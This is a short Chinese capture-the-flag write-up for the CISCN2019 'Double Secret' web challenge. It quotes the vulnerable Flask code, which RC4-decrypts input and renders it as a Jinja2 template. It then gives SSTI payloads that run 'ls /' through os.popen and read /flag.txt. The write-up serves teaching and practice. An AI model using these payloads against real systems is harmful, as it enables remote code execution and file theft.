# [CISCN2019 华东南赛区] Double Secret
由标题可以知道:有两个 secret;尝试 /secret
网页显示是给个参数他就会给你加密(但是却是解密)
有两个 secret 可以在参数这里猜:
加?secret=12345 发现错误:
发现是 ssti 报错:盲猜 jinja2:
找 app.py:
if(secret==None):
return 'Tell me your secret.I will encrypt it so others can\'t see'
rc=rc4_Modified.RC4("HereIsTreasure") #解密
deS=rc.do_crypt(secret)
a=render_template_string(safe(deS))
if 'ciscn' in a.lower():
return 'flag detected!'
return a
可以发现是加了一个 rc4 的解密,密钥为:HereIsTreasure
我直接搞个加密 rc4 的密钥一样就可以了:
payload:
{{().__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].popen('ls /').read()}}
读 flag.txt payload:
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/flag.txt').read()}}
但是要加一个 url 加密,在加一个加密所有字符(因为好像直接输入会丢字符)